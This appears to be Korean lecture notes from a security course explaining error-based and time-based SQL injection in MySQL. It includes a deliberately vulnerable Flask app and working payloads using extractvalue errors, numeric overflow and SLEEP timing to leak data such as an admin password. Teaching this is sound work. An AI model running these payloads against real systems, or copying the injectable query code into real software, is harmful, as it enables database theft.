
애플리케이션이 동작하는 형태에 따라 SQL Injection의 공격 형태가 달라진다.
SQL 쿼리가 실행되는 결과를 공격자가 눈으로 확인할 수 있는 경우,
쿼리 결과를 애플리케이션에서 출력하지 않아 직접 확인하기 어려운 경우가 있다.
이러한 상황에서 공격을 수행하는 Error & Time based SQL Injection은
취약점 여부는 같으나, 공격 성공 여부를 어떻게 판단하느냐에 따라 구분된다.
Error based SQL Injection은 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의
정보를 획득하는 공격 기법이다.
예제 코드)
## pip3 install PyMySQL //pymysql 라이브러리를 설치하기 위한 명령어
from flask import Flask, request
import pymysql
app = Flask(__name__)
def getConnection():
return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')
@app.route('/' , methods=['GET'])
def index():
username = request.args.get('username')
sql = "select username from users where username='%s'" %username
conn = getConnection()
curs = conn.cursor(pymysql.cursors.DictCursor)
curs.execute(sql)
rows = curs.fetchall()
conn.close()
if(rows):
return "True"
else:
return "False"
app.run(host='0.0.0.0', port=8000, debug=True)
코드를 살펴보면 사용자의 입력값이 별다은 검사 없이 SQL 쿼리에 포함되어 있으므로
SQL Injection 취약점이 발생하나, 쿼리 실행 결과만을 판단하여 True/False로 응답한다.
app.run(host='0.0.0.0', port=8000, debug=True)
Flask 프레임워크에서 디버그 모드를 활성하 하였기 때문에 코드에서 오류가 발생할 때
발생 원인을 같이 출력해준다. 공격자는 이 오류 메시지를 이용하여 데이터를 획득한다.
위에서 얘기한 "에러"는 쿼리가 실행되기 전에 발생하는 문법적 오류가 아닌,
쿼리가 실행되고 나서 발생하는 런타임 에러가 필요하다.
extractvalue 함수
이 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해
데이터를 추출하는 함수이다. 두 번째 인자가 올바르지 않은 XPATH 식일 경우
에러 메시지와 함께 잘못된 식을 출력한다.
올바른 예시)
mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
/*
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test |
+-----------------------------------------------+
1 row in set (0.00 sec)
*/
잘못된 예시)
mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식
위의 경우에서 올바르지 않은 XPATH 식을 전달하면 에러 메시지에 삽입한 식의 결과가
출력되는 것을 확인할 수 있다.
공격 예시)
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
따라서 다음과 같이 함수를 이용하면 그 함수의 실행결과를 에러 메시지로 확인할 수 있다.
mysql> SELECT extractvalue(1,concat(0x3a,
(SELECT password FROM users WHERE username='admin')));
/*
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
*/
추가로, 서브쿼리를 이용하여 데이터베이스의 정보를 추출할 수 있다.
위에서 살펴본 Error based SQL Injection 공격에 Blind SQLI 를 활용하는 공격이다.
이를 통하여 임의로 에러를 발생시키고 참/거짓을 판단하여 데이터를 추출한다.
예시 쿼리)
mysql> select if(1=1, 9e307*2,0);
/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/
mysql> select if(1=0, 9e307*2,0);
/*
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
*/
MySQL의 Doble 자료형 최댓값을 초과시켜 에러를 발생시킨다. 이를 통해 에러 발생 여부를
확인하고 참/거짓 여부를 확인한다.
Short-circuit evaluation (단락 평가)
논리 연산의 결과가 이미 결정된 경우 나머지 조건을 평가하지 않는 방식을 이용하여
참/거짓 여부를 판단할 수도 있다. 아래는 SLEEP 함수를 이용한 참/거짓 판단이다.
앞의 조건이 거짓일 경우 AND 연산에는 뒤의 식을 평가하지 않는다.
mysql> SELECT 0 AND SLEEP(1);
/*
+----------------+
| 0 AND SLEEP(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
*/
mysql> SELECT 1 AND SLEEP(10);
/*
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
| 0 |
+-----------------+
1 row in set (10.04 sec)
*/
Time based SQL Injection은 시간 지연을 이용하여 쿼리의 참/거짓 여부를 판단하는
공격 기법이다. 시간을 지연시키는 방법으로는 시간이 많이 소요되는 연산을 수행하는
헤비 쿼리를 사용하는 방법이 있다.
대표적으로 SLEEP함수를 이용하여 시간지연 발생여부를 확인할 수 있다.
mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
*/
DreamHack 강의 - [WHA-S] ExploitTech: Error & Time based SQL Injection